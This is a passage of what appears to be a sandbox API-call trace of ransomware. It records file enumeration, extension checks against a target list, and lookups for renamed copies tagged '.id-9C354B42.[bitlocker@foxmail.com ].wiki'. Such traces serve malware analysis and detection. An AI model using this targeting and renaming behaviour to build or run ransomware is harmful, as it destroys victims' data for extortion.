returned 4 [0058.339] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.339] lstrlenW (lpString=".rar") returned 4 [0058.339] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.339] lstrlenW (lpString=".bz2") returned 4 [0058.339] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.339] lstrlenW (lpString=".7z") returned 3 [0058.339] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.339] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.339] lstrlenW (lpString=".dbf") returned 4 [0058.339] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.339] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.339] lstrlenW (lpString=".1cd") returned 4 [0058.339] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.339] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.339] lstrlenW (lpString=".jpg") returned 4 [0058.339] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.339] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.339] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.339] lstrlenW (lpString=".doc") returned 4 [0058.339] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.339] lstrlenW (lpString=".docx") returned 5 [0058.339] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0058.339] lstrlenW (lpString=".pdf") returned 4 [0058.339] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.339] lstrlenW (lpString=".xls") returned 4 [0058.339] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.339] lstrlenW (lpString=".xlsx") returned 5 [0058.340] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0058.340] lstrlenW (lpString=".ppt") returned 4 [0058.340] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.340] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.340] lstrlenW (lpString=".zip") returned 4 [0058.340] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.340] lstrlenW (lpString=".rar") returned 4 [0058.340] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.340] lstrlenW (lpString=".bz2") returned 4 [0058.340] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.340] lstrlenW (lpString=".7z") returned 3 [0058.340] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.340] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.340] lstrlenW (lpString=".dbf") returned 4 [0058.340] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.340] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.340] lstrlenW (lpString=".1cd") returned 4 [0058.340] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.340] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.340] lstrlenW (lpString=".jpg") returned 4 [0058.340] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.340] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0058.340] lstrlenW (lpString="performance.png") returned 15 [0058.340] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0058.341] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=25243) returned 1 [0058.341] CloseHandle (hObject=0x200) returned 1 [0058.341] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0058.341] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.341] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.341] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.341] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.341] lstrlenW (lpString=".doc") returned 4 [0058.341] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.341] lstrlenW (lpString=".docx") returned 5 [0058.341] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0058.341] lstrlenW (lpString=".pdf") returned 4 [0058.342] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.342] lstrlenW (lpString=".xls") returned 4 [0058.342] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.342] lstrlenW (lpString=".xlsx") returned 5 [0058.342] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0058.342] lstrlenW (lpString=".ppt") returned 4 [0058.342] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.342] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.342] lstrlenW (lpString=".zip") returned 4 [0058.342] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.342] lstrlenW (lpString=".rar") returned 4 [0058.342] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.342] lstrlenW (lpString=".bz2") returned 4 [0058.342] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.342] lstrlenW (lpString=".7z") returned 3 [0058.342] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.342] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.342] lstrlenW (lpString=".dbf") returned 4 [0058.342] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.342] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.342] lstrlenW (lpString=".1cd") returned 4 [0058.342] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.342] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.342] lstrlenW (lpString=".jpg") returned 4 [0058.342] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.342] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.342] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.342] lstrlenW (lpString=".doc") returned 4 [0058.342] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.342] lstrlenW (lpString=".docx") returned 5 [0058.342] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0058.342] lstrlenW (lpString=".pdf") returned 4 [0058.342] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.342] lstrlenW (lpString=".xls") returned 4 [0058.343] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.343] lstrlenW (lpString=".xlsx") returned 5 [0058.343] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0058.343] lstrlenW (lpString=".ppt") returned 4 [0058.343] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.343] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.343] lstrlenW (lpString=".zip") returned 4 [0058.343] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.343] lstrlenW (lpString=".rar") returned 4 [0058.343] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.343] lstrlenW (lpString=".bz2") returned 4 [0058.343] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.343] lstrlenW (lpString=".7z") returned 3 [0058.343] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.343] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.343] lstrlenW (lpString=".dbf") returned 4 [0058.343] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.343] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.343] lstrlenW (lpString=".1cd") returned 4 [0058.343] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.343] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0058.343] lstrlenW (lpString=".jpg") returned 4 [0058.343] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.343] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0058.343] lstrlenW (lpString="Perf_Scenes_Mask1.png") returned 21 [0058.343] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0058.344] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6922) returned 1 [0058.344] CloseHandle (hObject=0x200) returned 1 [0058.344] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0058.344] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.344] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.344] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.344] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.344] lstrlenW (lpString=".doc") returned 4 [0058.344] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.344] lstrlenW (lpString=".docx") returned 5 [0058.344] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0058.344] lstrlenW (lpString=".pdf") returned 4 [0058.344] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.344] lstrlenW (lpString=".xls") returned 4 [0058.344] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.344] lstrlenW (lpString=".xlsx") returned 5 [0058.344] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0058.344] lstrlenW (lpString=".ppt") returned 4 [0058.344] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.344] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.344] lstrlenW (lpString=".zip") returned 4 [0058.344] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.344] lstrlenW (lpString=".rar") returned 4 [0058.344] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.344] lstrlenW (lpString=".bz2") returned 4 [0058.344] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.344] lstrlenW (lpString=".7z") returned 3 [0058.344] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.344] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.345] lstrlenW (lpString=".dbf") returned 4 [0058.345] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.345] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.345] lstrlenW (lpString=".1cd") returned 4 [0058.345] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.345] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.345] lstrlenW (lpString=".jpg") returned 4 [0058.345] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.345] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.345] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.345] lstrlenW (lpString=".doc") returned 4 [0058.345] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.345] lstrlenW (lpString=".docx") returned 5 [0058.345] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0058.345] lstrlenW (lpString=".pdf") returned 4 [0058.345] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.345] lstrlenW (lpString=".xls") returned 4 [0058.345] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.345] lstrlenW (lpString=".xlsx") returned 5 [0058.345] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0058.345] lstrlenW (lpString=".ppt") returned 4 [0058.345] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.345] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.345] lstrlenW (lpString=".zip") returned 4 [0058.345] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.345] lstrlenW (lpString=".rar") returned 4 [0058.345] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.345] lstrlenW (lpString=".bz2") returned 4 [0058.345] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.346] lstrlenW (lpString=".7z") returned 3 [0058.346] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.346] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.346] lstrlenW (lpString=".dbf") returned 4 [0058.346] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.346] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.346] lstrlenW (lpString=".1cd") returned 4 [0058.346] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.346] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0058.346] lstrlenW (lpString=".jpg") returned 4 [0058.346] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.346] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0058.346] lstrlenW (lpString="Perf_Scenes_Subpicture1.png") returned 27 [0058.346] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0058.346] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4959) returned 1 [0058.346] CloseHandle (hObject=0x200) returned 1 [0058.346] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0058.346] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.346] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.347] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.347] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.347] lstrlenW (lpString=".doc") returned 4 [0058.347] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.347] lstrlenW (lpString=".docx") returned 5 [0058.347] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0058.347] lstrlenW (lpString=".pdf") returned 4 [0058.347] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.347] lstrlenW (lpString=".xls") returned 4 [0058.347] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.347] lstrlenW (lpString=".xlsx") returned 5 [0058.347] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0058.347] lstrlenW (lpString=".ppt") returned 4 [0058.347] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.347] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.347] lstrlenW (lpString=".zip") returned 4 [0058.347] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.347] lstrlenW (lpString=".rar") returned 4 [0058.347] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.347] lstrlenW (lpString=".bz2") returned 4 [0058.347] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.347] lstrlenW (lpString=".7z") returned 3 [0058.347] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.347] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.347] lstrlenW (lpString=".dbf") returned 4 [0058.347] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.347] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.347] lstrlenW (lpString=".1cd") returned 4 [0058.347] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.347] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.347] lstrlenW (lpString=".jpg") returned 4 [0058.347] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.347] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.347] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.348] lstrlenW (lpString=".doc") returned 4 [0058.348] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.348] lstrlenW (lpString=".docx") returned 5 [0058.348] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0058.348] lstrlenW (lpString=".pdf") returned 4 [0058.348] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.348] lstrlenW (lpString=".xls") returned 4 [0058.348] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.348] lstrlenW (lpString=".xlsx") returned 5 [0058.348] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0058.348] lstrlenW (lpString=".ppt") returned 4 [0058.348] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.348] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.348] lstrlenW (lpString=".zip") returned 4 [0058.348] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.348] lstrlenW (lpString=".rar") returned 4 [0058.348] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.348] lstrlenW (lpString=".bz2") returned 4 [0058.348] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.348] lstrlenW (lpString=".7z") returned 3 [0058.348] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.348] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.348] lstrlenW (lpString=".dbf") returned 4 [0058.348] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.348] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.348] lstrlenW (lpString=".1cd") returned 4 [0058.348] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.348] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0058.348] lstrlenW (lpString=".jpg") returned 4 [0058.348] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.348] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0058.349] lstrlenW (lpString="PreviousMenuButtonIcon.png") returned 26 [0058.349] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0058.349] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4503) returned 1 [0058.349] CloseHandle (hObject=0x200) returned 1 [0058.349] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0058.349] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.349] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.349] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.349] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.349] lstrlenW (lpString=".doc") returned 4 [0058.349] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.349] lstrlenW (lpString=".docx") returned 5 [0058.349] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0058.349] lstrlenW (lpString=".pdf") returned 4 [0058.349] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.349] lstrlenW (lpString=".xls") returned 4 [0058.349] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.349] lstrlenW (lpString=".xlsx") returned 5 [0058.349] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0058.349] lstrlenW (lpString=".ppt") returned 4 [0058.349] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.349] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.349] lstrlenW (lpString=".zip") returned 4 [0058.350] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.350] lstrlenW (lpString=".rar") returned 4 [0058.350] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.350] lstrlenW (lpString=".bz2") returned 4 [0058.350] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.350] lstrlenW (lpString=".7z") returned 3 [0058.350] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.350] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.350] lstrlenW (lpString=".dbf") returned 4 [0058.350] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.350] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.350] lstrlenW (lpString=".1cd") returned 4 [0058.350] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.350] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.350] lstrlenW (lpString=".jpg") returned 4 [0058.350] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.350] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.350] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0058.350] lstrlenW (lpString=".doc") returned 4 [0058.350] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.350] lstrlenW (lpString=".docx") returned 5 [0058.350] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0058.350] lstrlenW (lpString=".pdf") returned 4 [0058.350] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.350] lstrlenW (lpString=".xls") returned 4 [0058.350] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.350] lstrlenW (lpString=".xlsx") returned 5 [0058.350] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0058.350] lstrlenW (lpString=".ppt") returned 4 [0058.350] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.350] lstrlenW (lpString="C:\\Program Files\\DVD 